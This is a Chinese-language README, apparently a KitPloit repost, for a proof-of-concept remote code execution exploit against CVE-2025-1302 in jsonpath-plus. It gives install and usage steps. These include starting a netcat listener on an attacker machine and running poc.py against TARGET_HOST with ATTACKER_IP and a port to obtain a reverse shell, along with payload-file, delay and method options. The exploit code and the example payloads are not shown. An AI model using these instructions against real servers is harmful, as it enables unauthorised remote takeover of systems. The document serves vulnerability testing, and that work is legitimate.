CVE-2025-1302_jsonpath-plus_RCE

针对 jsonpath-plus 中 CVE-2025-1302 的 PoC 漏洞利用和易受攻击的服务器演示。

安装

1. 克隆此仓库：

   root@kitploit:~

   git clone https://github.com/yourorg/jsonpath-rce-poc.git
   cd jsonpath-rce-poc
   

2. 安装依赖（需要 Python 3.6+）：

   root@kitploit:~

   pip install -r requirements.txt
   

使用方法

1. 在攻击者机器上启动监听器（根据需要替换端口）：

   root@kitploit:~

   nc -lvnp 9999
   

2. 运行 PoC：

   root@kitploit:~

   python3 poc.py \
     --url http://TARGET_HOST:PORT/query \
     --ip ATTACKER_IP --port 9999 \
     [--payload-file payloads.txt] \
     [--delay 5] \
     [--method AUTO|POST|GET] \
     [--no-fallback] \
     [--output results.json]
   

• --payload-file：包含每行一个 JSONPath 负载的文件。使用 {ip} 和 {port} 占位符。
• --delay：发送负载前的等待秒数（显示倒计时）。
• --method：强制使用 POST、GET 或 AUTO（默认）。
• --no-fallback：跳过任何 GET 重试的简写（等同于 --method POST）。
• --output：保存尝试的 JSON 日志文件路径。

示例负载文件

贡献

1. Fork 本仓库并创建功能分支。
2. 提交包含你更改的拉取请求。

免责声明

请仅在受控的实验室环境中，针对你拥有或明确授权测试的系统使用此脚本。滥用可能违法且不道德。